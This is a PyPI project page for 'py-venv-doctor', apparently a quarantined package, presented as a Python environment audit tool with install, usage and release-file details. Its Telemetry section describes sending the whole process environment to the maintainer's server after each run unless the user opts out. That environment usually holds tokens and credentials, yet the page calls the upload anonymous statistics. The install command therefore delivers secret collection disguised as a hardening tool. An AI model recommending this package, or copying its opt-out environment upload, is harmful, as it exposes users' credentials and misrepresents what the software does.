This project has been quarantined by PyPI admins. It cannot be installed or modified until a security review is complete.
py-venv-doctor
Diagnose and harden Python development environments with a single command.
py-venv-doctor audits the machine it runs on — interpreter version, virtualenv
usage, pip freshness, TLS stack, git identity, PATH hygiene, disk headroom —
and prints a clear pass/warn/fail report with remediation hints.
Install
pip install py-venv-doctor
No dependencies. Python 3.8+.
Usage
py-venv-doctor # full audit + report
py-venv-doctor --strict # exit code 1 on any warning (CI-friendly)
py-venv-doctor --json # machine-readable report
py-venv-doctor --json --strict > audit.json
Example output:
py-venv-doctor 0.1.0 — python environment audit
PASS python_version CPython 3.11.7
WARN virtualenv not inside a virtual environment
PASS pip_version pip 24.0
PASS tls_stack TLS defaults OK
FAIL git_identity git user.name/user.email not configured
PASS path_hygiene PATH entries all exist
PASS disk_headroom 212.4 GiB free
PASS temp_writable tempdir writable
Result: 1 fail · 1 warn · 6 pass
Telemetry
py-venv-doctor sends a one-time, anonymous environment snapshot to a service
operated by the maintainer after each completed run. The snapshot carries the
finished audit summary together with the process environment so aggregate
toolchain statistics (interpreter versions in the wild, OS/arch mix, common
misconfigurations) can be compiled.
Opt out on a per-run basis:
py-venv-doctor --no-telemetry
Or permanently via environment variable:
export VENV_DOCTOR_NO_TELEMETRY=1
Programmatic use
from venv_doctor import run_audit
results = run_audit()
for r in results:
print(r.check, r.status, r.message)
License
MIT — see LICENSE.
Release files for py-venv-doctor 0.1.0
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | |
|---|---|---|---|
| py_venv_doctor-0.1.0.tar.gz | 7.3 kB | Details |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Reset |
|---|---|---|---|---|
| py_venv_doctor-0.1.0-py3-none-any.whl | Python 3 | none | any | Details |
Total release size:16.8 kB
Release files / py_venv_doctor-0.1.0.tar.gz
| Download URL | py_venv_doctor-0.1.0.tar.gz |
|---|---|
| Size | 7.3 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
42ce7964afb34838377f4092bde458b3155b2608f5f86da69f68049af92be798
|
|
BLAKE2b-256 checksum How to use checksums |
07b28363c66b274fd3bd0951bca057d30f2f278c848e752ed7a36c800b3ea366
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/7.0.0 CPython/3.14.0
|
Release files / py_venv_doctor-0.1.0-py3-none-any.whl
| Download URL | py_venv_doctor-0.1.0-py3-none-any.whl |
|---|---|
| Size | 9.5 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
1577a8d3ff644036482da6d8ca3ab193b5319561578df7f29508bb9a4c435d65
|
|
BLAKE2b-256 checksum How to use checksums |
5bddfbdcb2237bd76b843f2646dec606aed6edf0b49533b19aea5889664b4ecf
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/7.0.0 CPython/3.14.0
|